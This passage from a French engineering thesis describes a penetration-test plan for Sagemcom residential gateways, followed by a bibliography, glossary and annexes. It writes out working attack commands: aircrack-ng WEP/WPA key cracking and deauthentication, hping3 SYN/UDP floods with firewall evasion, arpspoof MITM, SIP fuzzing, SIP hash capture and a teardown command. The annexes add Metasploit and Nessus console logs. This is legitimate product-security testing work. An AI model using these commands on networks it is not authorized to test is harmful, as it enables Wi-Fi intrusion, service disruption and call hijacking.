Utiliser aireplay-ng pour générer plus de trafic en envoyant des ARP request29

:

-3: envoi des requêtes ARP.

-b: adresse MAC du point d’accès

Finalement, craquer la clé avec aircrack-ng :

La durée de cette attaque varie entre 10 minutes à des heures selon le taux d’informations

capturé.

Scénario 2 : Craquage clé WPA/WPA2

Le craquage du WPA nécessite un dictionnaire contenant un grand nombre de mots de passe

possibles. La taille d’un dictionnaire peut varier entre quelque MO à quelques GO.

Les étapes de l’attaque sont comme suit :

Activer la carte wifi en mode monitor :

Capturer le trafic avec la commande airodump-ng :

Utiliser airplay-ng pour forcer la de-authentification d’un client connecté au point d’accès qui

va automatiquement s’authentifier de nouveau. Cette étape est obligatoire car le craquage de la

clé WPA nécessite la détection de la phase de l’authentification.

o -0 1 : de-authentification. l’envoi d’une seule « deauths » (nous pouvons envoyer

plusieurs)

o -a : adresse du point d’accès.

o -c : adresse de l’utilisateur à de-authentifier.

Utiliser aircrack-ng pour craquer la clé.

o -w : liste de mot de passe à tester. Cette liste peut être téléchargé de l’internet ou

générer à l’aide de plusieurs outils (par exemple : John The Ripper)

29 Il faut environ 20,000 paquets pour les clés 64-bit et de 40,000 jusqu’à 85,000 paquets for 128 bit.

aircrack-ng -w password.lst -b 00:14:6C:7E:40:80 output*.cap

aireplay-ng -0 1 -a 00:14:6C:7E:40:80 -h 00:11:22:33:44:55 wifi0

airodump-ng -c 6 --bssid 00:14:6C:7E:40:80 -w output wifi0

airmon-ng start wifi0 6

aircrack-ng -b 00:14:6C:7E:40:80 output*.cap

aireplay-ng -3 -b 00:14:6C:7E:40:80 -h 00:11:22:33:44:55 wifi0


Page 78

Test16: Perturbation des connexions

L’injection des paquets ARP dans le réseau sans fil peut affecter la qualité du signale et même

engendre la mise hors service de tout le réseau.

Ce test nécessite un réseau sans fil sécurisé avec une clé de chiffrement WEP. Pour aboutir à

un résultat, il faut que le sniffeur détecte au moins un paquet ARP pour qu’il puisse injecter des

paquets ARP. L’attaque est possible avec l’outil airplay-ng.

5. Module VoIP


Nous avons fixé un ensemble de tests primaires sur les TRs qui consiste à déterminer leurs

effets sur le fonctionnement du module testé ainsi que les autres modules. Nos tests touchent deux

axes :

Attaque lié au déni de service.

Attaque lié à la vole de session SIP.

5.2. Tests réalisés

5.2.1. Déni de service

Test17: SYN/UDP Flood (SIP)

Il s’agit du même principe de l’attaque SYN Flood décrite dans le module réseau. Nous avons

réalisé deux scénarios.

Scénario 1: SYN/UDP Flood simple:

La réalisation de cette manipulation nous permet de tester la robustesse du TR contre ce type

d’attaque ainsi que la configuration de son pare-feu. Pour cela nous avons utilisé l’outil HPING.

Scénario 2 : SYN/UDP Flood avec technique d’évasion :

Dans la deuxième manipulation, nous avons utilisé une technique pour contourner la sécurité

du pare-feu. Nous avons envoyé les paquets à partir du port source 5060. (Voir chapitre 3 : 4.3 SIP)

hping3 –S –p 5060 -k –i u10 @WAN

hping3 –-udp –p 5060 -k –i u10 @WAN

hping3 –-udp –p 5060 –i u10 @WAN

hping3 –S –p 5060 –i u10 @WAN

aireplay-ng -3 -b 00:14:6C:7E:40:80 -h 00:11:22:33:44:55 wifi0


Page 79

-k : port source est le même que le port destination.

Test18: Requêtes SIP malformées

Le but de ce test est de tester si le serveur VoIP implémenté sur le TR supporte les requêtes

SIP malformés. Pour cela, nous avons utilisé l’outil « PROTOS Test-Suite: c07-sip ». Avec

BackTrack, sous le dossier « /penstest/VoIP/protos-sip », nous lançons la commande suivante :

5.2.2. Vole de session

Il existe plusieurs attaques basées sur le vole de session (ou HIjacking) dans les

communications SIP. Ces attaques sont basées sur l’attaque MITM qui permet à un hacker de faire

passer tous le trafic entre 2 machines par son PC. Nous doit d’abord réaliser l’attaque ARP

Poisonning.

Test19 : ARP Spoofing

Avec wireshark, nous capture le trafic pour déterminer les paramètres de connexion SIP entre

le TR et la victime.

Figure 40 Capture de messages de signalisation (SIP)

Arpspoof <@IP Victim> <@IP TR>

Arpspoof <@IP TR> <@IP Victim>

…………………………………

Sending Test-Case #5

test-case #5, 504 bytes

00000000 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa




00000064 61 20 73 69 70 3a 31 31 31 40 31 30 2e 31 39 2e a sip:[email protected].

00000080 31 2e 31 20 53 49 50 2f 32 2e 30 0d 0a 56 69 61 1.1 SIP/2.0..Via

00000096 3a 20 53 49 50 2f 32 2e 30 2f 55 44 50 20 62 74 : SIP/2.0/UDP bt

00000112 2e 66 6f 6f 2e 6f 72 67 3a 35 30 36 30 3b 62 72 .foo.org:5060;br

00000128 61 6e 63 68 3d 7a 39 68 47 34 62 4b 30 30 30 30 anch=z9hG4bK0000

…………………………………………….

java -jar c07-sip-r2.jar -touri USER@<@WAN> -showsent

Requête SIP malformé.


Page 80

Test20 : Capture de l’authentification SIP

Avec l’outil « SIPDUMP », nous pouvons capturer les authentifications SIP.

Ces informations seront utiles pour des éventuelles attaques basées sur l’ID d’un autre

utilisateur.

Test21: TearDown attack

Cette attaque a été réalisée en utilisant l’outil « teardown » afin de terminer une

communication active entre deux entités en envoyant une requête « BYE » avec l’ID spoofé. La

réalisation de cette attaque il faut capturer une réponse OK valide. La commande utilisée est la

suivant :

Conclusion

Dans ce chapitre, nous avons décrit les différents tests mis en œuvre pour la réalisation d’un

plan de test de sécurité pour les TRs SagemCom. L’approche modulaire nous a permis de démultiplier

les possibilités de scénario de tests et d’utiliser des notions issues d’un module sur d’autres.

Dans notre effort, nous avons essayé de couvrir la totalité des failles et risques possibles pour

chaque module. Néanmoins l’imagination et l’évolution du monde du piratage est sans limites et il

reste certainement plusieurs autres tests possibles à imaginer afin que nous puissions assurer la

sécurité totale dans le cadre des tests de pénétration et contre carrer les intention malveillantes ou les

failles induites par l’architecture même de certains services et leur interactions. L’ensemble des tests a

été intégré sous « Test Link30

» sous forme d’un plan de tests. (Voir Annexe 1 et Annexe 2)

30 Test Link est un outil de gestion des tests.

./teardown eth0 extension sip_proxy 10.1.101.35 CallID FromTag ToTag

192.168.1.1"192.168.1.104"200"asterisk"REGISTER"sip:192.168.1.104"44b80d16""""MD5"8edc2d549

294f6535070439fb069c968

192.168.1.1"192.168.1.104"200"asterisk"REGISTER"sip:192.168.1.104"46cce857""""MD5"4dfc75159

36a667565228dbaa0293dfc

192.168.1.1"192.168.1.104"200"asterisk"REGISTER"sip:192.168.1.104"2252e8fe""""MD5"5b895c6ae

07ed8391212119aab36f108

root@bt:/pentest/voip/sipcrack# ./sipdump -i eth0 auth.txt

SIPdump 0.3 ( MaJoMu | www.codito.de )

---------------------------------------

* Using dev 'eth0' for sniffing

* Starting to sniff with packet filter 'tcp or udp or vlan'

* Dumped login from 192.168.1.104 -> 192.168.1.1 (User: '200')



Conclusion et Perspectives

Page 81

ans le cadre de ce projet nous avons contribué à la mise en place d’une plateforme ainsi qu’un

plan de test de sécurité pour les terminaux résidentiels pour le compte de l’entreprise

SagemCom.

Ce travail a commencé par une étude sur les différents modules du TR et les risques auxquels

ils sont exposés. Par la suite une étude comparative entre les différents outils existants a été réalisée.

Cette étude nous a permis d’avoir une vision globale sur les besoins en termes de sécurité pour les

tests à faire traités par priorité.

A l’issue de cette étude, nous avons opté, d’une part, à la mise en place d’une plateforme de

test qui couvre les différents modules du TR, basé sur des produits libres et d’autre part à la définition

d’un plan de test correspondant déroulé sur différents produits SagemCom.

Ce projet nous a permis de traiter un sujet d’actualité dans le domaine de la sécurité

informatique. Il faut dire que la sécurité des TRs est un point très important car il présente le lien entre

le réseau local d’une entreprise ou des particuliers et l’Internet.

Tout au le long de ce projet, nous avons essayé de respecter les priorités de quelques tests par

rapport à d’autres. Plusieurs extensions et améliorations peuvent être envisagées pour finaliser ce

travail, à savoir :

L’automatisation des tests pour gagner en temps d’exécution et de minimiser le besoin en

ressources humaines pour passer les tests. L’automatisation permettra en plus de détecter

rapidement les régressions entre les différentes versions logicielles d’une passerelle. La force

de frappe des équipes validation n’en sera que renforcée. Le développement des scripts avec

l'outil d’automatisation utilisé par SagemCom seront éventuellement envisagés.

Le développement d’un outil de test des attaques DOS propre aux besoins de SagemCom qui

consiste à tester seulement les services spécifiques proposés par les TRs Sagemcom

La mise en place d’outils de tests de sécurité des TRs intégrant le protocole IPv6 qui est une

nouvelle exigence demandée par les clients de SagemCom.

D

Bibliographie

Page 82

1. Ilacqua, Spike. The first ISP. USENIX. [Online] Mars 15, 1999.

http://www.usenix.org/publications/login/1999-2/isp.html.

2. Le Nouvel Observateur. La naissance du Web . Le nouvelle observateur. [En ligne] 20 Avril 2009.

http://tempsreel.nouvelobs.com/vu-sur-le-web/20090420.OBS4013/la-naissance-du-web.html.

3. Le Journal du NET. Nombre d'abonnés à Internet en France. Le journal du NET. [En ligne] 18

Octobre 2010. http://www.journaldunet.com/ebusiness/le-net/nombre-abonnes-internet-france.shtml.

4. Lalonde, Denis. Les attaques informatiques grimpent en nombre, mais font moins de dommages.

Direction Informatique. [En ligne] 20 Avril 2011.

http://www.directioninformatique.com/DI/client/fr/DirectionInformatique/Nouvelles.asp?id=62205.

5. SagemCom. BU Terminaux résidentiels & Haut Débit . SagemCom. [En ligne] 2010.

www.sagemcom.com/index.php?id=1797&L=1.

6. Beaver, Kevin. Hacking For Dummies®, 3rd Edition. s.l. : Wiley Publishing, Inc., 2011.

7. ISECOM. OSSTMM 3. The Institute for Security and Open Methodologies (ISECOM). [En ligne]

14 Décembre 2010. http://www.osstmm.org/.

8. OWASP, The Open Web Application Security Project. OWASP, The Open Web Application

Security Project. [En ligne] 12 Aout 2007. https://www.owasp.org/.

9. PTES. PTES, the Penetration Testing Execution Standard. PTES, the Penetration Testing Execution

Standard. [En ligne] Janvier 2011. http://www.pentest-standard.org.

10. Katterjohn, Kris. Port Scanning Techniques. Packet Storm. [En ligne] 03 Aout 2007.

http://packetstormsecurity.org/files/view/54973/port-scanning-techniques.txt.

11. DAMAYE, Sébastien. Attaques/Enumeration-Scanning/Scan-ports . Aldeid.com. [En ligne] 19

September 2010. http://www.aldeid.com/wiki/Attaques/Enumeration-Scanning/Scan-ports.

12. Nmap. Technique de scan de ports. Nmap.ORG. [En ligne] 2007. http://nmap.org/man/fr/man-

port-scanning-techniques.html.

13. Nmap. Timing and Performance. Nmap.ORG. [En ligne] 2007. http://nmap.org/book/man-

performance.html.

Bibliographie

Page 83

14. Nmap. Remote OS detection via TCP/IP Stack FingerPrinting. Nmap.ORG. [En ligne] 18 Octobre

1998. http://nmap.org/nmap-fingerprinting-article.txt.

15. PCI Security Standards Council. PCI SSC Data Security Standards Overview. PCI Security

Standards Council. [En ligne] 2006. https://www.pcisecuritystandards.org/security_standards/.

16. Adam Doup´e, Marco Cova et Giovanni Vigna. An Analysis of Black-box Web Vulnerability

Scanners. s.l. : University of California, 2010.

17. Hemel, Armijn. UPnP IGD profile. IPnP Hacks. [En ligne] 2006. http://www.upnp-hacks.org/.

18. Lehembre, Guillaume. Wi-Fi security – WEP, WPA. s.l. : hakin9, 2010.

19. the VOIP Wiki. the VOIP Wiki. the VOIP Wiki. [En ligne] Mai 2011. http://www.voip-info.org/.

20. Services VoIP. Perspectives VoIP. Voip Zélites. [En ligne] 2011. http://www.services-voip.fr.

21. Collier, Mark. Basic Vulnerability Issues for SIP Security. s.l. : SecureLogix Corporation, 2005.

22. Back|Track Linux. Back|Track Linux: Penetration Testing Distribution. Back|Track Linux:

Penetration Testing Distribution. [En ligne] 2011. http://www.backtrack-linux.org/.

23. OWASP Foundation. OWASP TESTING GUIDE V3.0. 2008.

24. Design and Analysis of Communication Systems Group (DACS). Attacks by “Anonymous”

WikiLeaks Proponentsnot Anonymous. 2010.

25. CVE Details. Unspecified vulnerability in ISC BIND 9.0.x. CVE Details. [En ligne] 12 Octobre

2010. http://www.cvedetails.com/cve/CVE-2010-0290/.

26. CERT. CERT® Advisory CA-1998-01 Smurf IP Denial-of-Service Attacks. CERT. [En ligne] 5

Janvier 1998. http://www.cert.org/advisories/CA-1998-01.html.

27. CERT. CERT® Advisory CA-1996-21 TCP SYN Flooding and IP Spoofing Attacks. CERT. [En

ligne] 19 Septembre 1996. www.cert.org/advisories/CA-1996-21.html.

28. CERT. CERT® Advisory CA-1997-28 IP Denial-of-Service Attacks. CERT. [En ligne] 17

Décembre 1997. http://www.cert.org/advisories/CA-1997-28.html.

29. Open Source Vulnerability Data Base. 5941: Linux Kernel Zero Length IP Fragmentation DoS.

Open Source Vulnerability Data Base. [En ligne] 24 Mars 1999. http://osvdb.org/show/osvdb/5941.

Bibliographie

Page 84

30. Open Source Vulnerability Date Base. 5729: Multiple Vendor TCP/IP Fragmentation DoS

(nestea). Open Source Vulnerability Date Base. [En ligne] 16 Avril 1998.

http://osvdb.org/show/osvdb/5729.

31. Open Source Vulnerability Data Base. 5394: Linux Kernel Fragmented ICMP Packet

Information Disclosure. Open Source Vulnerability Data Base. [En ligne] 8 Avril 2004.


32. —. 4566: Linux Kernel TCP/IP Fragment Reassembly DoS. Open Source Vulnerability Data

Base. [En ligne] 28 Mai 2003. http://osvdb.org/show/osvdb/4566.

33. —. 1666: Multiple Vendor Out Of Band Data DoS (WinNuke). Open Source Vulnerability Data

Base. [En ligne] 7 Mai 1997. http://osvdb.org/show/osvdb/1666.

34. OSVDB. Multiple Vendor Oversized ICMP Ping Packet DoS . Open Source Vulnerability Data

Base. [En ligne] 01 Janvier 1997. http://osvdb.org/11454.

35. Open Source Vulnerability Data Base. 5727 : Multiple Vendor IP Fragment Re-Assembly

Remote DoS (teardrop) . Open Source Vulnerability Data Base. [En ligne] Novembre 1997.


Glossaire

Page 85

ADSL: Asymmetric Digital Subscriber Line Ajax: Asynchronous Javascript and XML

CVE: Common Vulnerability and Exposures CCMP: Counter-Mode/CBC-Mac protocol CMS: Content Management System C&C: Command and Control Server

DHCP: Dynamic Host Configuration Protocol DNS: Domain Name System DynDns: Dynamic DNS DLNA: Digital Living Network Alliance DMZ: Zone Démilitarisée DoS: Denial Of Service DDOS: Distributed Denial Of Service DECT: Digital Enhanced Cordless Telecommunications

ELSEC: Electronics Security EMSEC: Emission Security

FAI: Fournisseur d’Accès Internet FTTH: Fiber To The Home FTP: File Transfer Protocol

GUI: Graphical User Interface

Glossaire

Page 86

HTTP: Hypertext Transfer Protocol HTTPS: Hypertext Transfer Protocol Secured

IP: Internet Protocol ICMP: Internet Control Message Protocol IMAP: Internet Message Access Protocol IHM: Interaction Humain Machine IGD: Internet Gateway Device IRC: Internet Relay Chat IEEE: Institute of Electrical and Electronics Engineers

LAN: Local Area Network

M2M: Machine To Machine MAC: Media Access Control MGCP: Media Gateway Control Protocol

NAT: Network Address Translation NVD: National Vulnerability Database NVTs: Network Vulnerability Tests

OSI: Open Systems Interconnection OSVDB: Open Source Vulnerability Data Base OWASP: Open Web Application Security Project OpenVas: Open Vulnerability Assesement System OSSTMM: Open Source Security Testing Methodology Manual OSCP: Offensive Security Certified Professional OSCE: Offensive Security Certified Expert OSWP: Offensive Security Wireless Professional

PTES: Penetration Testing Execution Standard PCI DSS: Payment Card Industry Data Security Standard

Glossaire

Page 87

POP3: Post Office Protocol 3

RNIS : Réseau Numérique à Intégration de Services

SMTP: Simple Mail Transfer Protocol SSH: Secure Shell SIP: Session Initiation Protocol SSL: Secure Sockets Layer SaaS: Software as a Service SSID: Service Set Identifier SIGSEC: Signal Security PHYSSEC: Physical Security SPECSEC: Spectrum Security COMSEC: Communications Security

TR : terminal résidentiel TCP: Transmission Control Protocol TKIP: Temporal Key Integrity Protocol TLS: Transport Layer Security

UPnP: Universal Plug and Play UDP: User Datagram Protocol US-CERT: United State - Community Emergency Response Teams

VoIP: Voice over IP VDSL: Very high bit-rate DSL VOD: Video on Demand

WAN: Wide Area Network WiFi: Wireless Fidelity WEP: Wired Equivalent Privacy WPA: WiFi Protected Access WPA-PSK: WiFi Protected Access Pre-shared key

Annexes

Page 88

Module Test Référence

Rés

eau

Test1 : scan des ports

RES-SCAN-TE1:TCP-SCAN

RES-SCAN-TE1:SYN-SCAN

RES-SCAN-TE1:UDP-SCAN

RES-SCAN-TE1:EVASION-TECH

Test2 : scan des services RES-SCAN-TE2

Test3 : détection d’OS RES-SCAN-TE3

Test4: fuzzing avec OWASP-ZAP RES-VULN-TE1

Test5: owasp-cm-001 SSL/TLS RES-VULN-TE2

Test6: owasp-cm-008 Méthodes HTTP supportés RES-VULN-TE3

Test7: owasp-at-004 énumérer les utilisateurs RES-VULN-TE4

Test8: owasp-at-004 brute force attack RES-VULN-TE5

Test9 (TCP/UDP/HTTP Flood)

RES-DOS-TE1:LOIC-TCP

RES-DOS-TE1:LOIC-UDP

RES-DOS-TE1:LOIC-HTTP

Test10 (SYN/UDP/ICMP Flood)

RES-DOS-TE2:HPING-SYN

RES-DOS-TE2:HPING-UDP

RES-DOS-TE2:HPING-ICMP

Test11 : Dns cache poisoning RES-DIV-TE1

Test12: Attaque Ping Of Death RES-DIV-TE2

UP

nP

Test13 : ajout d’une règle portmap invalide UPNP-TE1

Test14: injection du code UPNP-TE2:BLACK-BOX

UPNP-TE2:WHITE-BOX

WIF

I Test15 : Craquage des clés de chiffrement WIFI-TE1

Test16: Perturbation des connexions WIFI-TE2

Vo

IP

Test17: SYN/UDP Flood (SIP) SIP-TE1

Test18: Requêtes SIP malformées SIP-TE2

Test19 : ARP Spoofing SIP-TE3

Test20 : Capture de l’authentification SIP SIP-TE4

Test21: TearDown attack: SIP-TE5

Tableau 10 Liste des tests

Annexes

Page 89

Annexes

Page 90

#!/bin/bash

# spawn

# Exploit-db script update - 03/31/2011 - 16:39

local=$(cat revision)

remote=$(curl --silent --head http://www.exploit-db.com/archive.tar.bz2 | grep "Last-

Modified" | md5sum | cut -f1 -d' ')

echo "Checking http://www.exploit-db.com for newest version"

if [ "$local" == "$remote" ]; then

echo "No updates available"

else

echo "New update available, Downloading . . ." ; mv archive.tar.bz2 archive-old.tar.bz2 ;

wget http://www.exploit-db.com/archive.tar.bz2; tar jxf archive.tar.bz2 ; echo "$remote"

> revision

echo "Exploits are updated"

fi

Annexes

Page 91

msf > db_driver postgresql

msf > db_connect postgres:[email protected]/metasploit

msf > db_status

[*] postgresql connected to metasploit

msf > db_import 192.168_scan.xml

[*] Importing 'Nmap XML' data

[*] Import: Parsing with 'Nokogiri v1.4.3.1'

[*] Importing host 192.168.1.1












[*] Successfully imported /home/mark/192.168_scan.xml

Annexes

Page 92

msf > load nessus

[*] Nessus Bridge for Nessus 4.2.x

[+] Type nessus_help for a command listing

[*] Successfully loaded plugin: nessus

msf > nessus_policy_list

[+] Nessus Policy List

ID Name Comments

-- ---- --------

-4 Internal Network Scan

-3 Web App Tests

-2 Prepare for PCI DSS audits

-1 External Network Scan

1 Customized Internel Network Scan

msf > nessus_scan_new 1 ScanTR 192.168.1.1

[*] Creating scan from policy number 1, called "ScanTR" and scanning 192.168.1.1

[*] Scan started. uid is c620db6e-bec9-5d3d-6bd8-23eb6e7e5895f53497082c9e2aa2

msf > nessus_scan_status

[+] Running Scans

Scan ID Name Owner Started

Status Current Hosts Total Hosts

------- ---- ----- -------

------ ------------- -----------

c620db6e-bec9-5d3d-6bd8-23eb6e7e5895f53497082c9e2aa2 win2008-msf msf 03:48 Jun 01 2011

running 0 1

*Snip*

msf > nessus_report_list

[+] Nessus Report List

ID Name Status Date

-- ---- ------ ----

c620db6e-bec9-5d3d-6bd8-23eb6e7e5895f53497082c9e2aa2 win2008-msf completed 03:51 Jun 01

2011

*Snip*

msf > nessus_report_get c620db6e-bec9-5d3d-6bd8-23eb6e7e5895f53497082c9e2aa2

[*] importing c620db6e-bec9-5d3d-6bd8-23eb6e7e5895f53497082c9e2aa2

[*] 192.168.1.180 Microsoft Windows Server 2008 Service Pack 1 Done!

[+] Done

msf > hosts -c address,vulns

Hosts

=====

address vulns

------- -----

192.168.1.161 33

msf > vulns

[*] Time: 2010-09-28 01:51:37 UTC Vuln: host=192.168.1.161 port=3389 proto=tcp name=NSS-

10940 refs=

[*] Time: 2010-09-28 01:51:37 UTC Vuln: host=192.168.1.161 port=1900 proto=udp name=NSS-

35713 refs=


22319 refs=


10396 refs=


10860 refs=CVE-2000-1200,BID-959,OSVDB-714




18502 refs=CVE-2005-1206,BID-13942,IAVA-2005-t-0019





[*] Time: 2010-09-28 01:51:41 UTC Vuln: host=192.168.1.161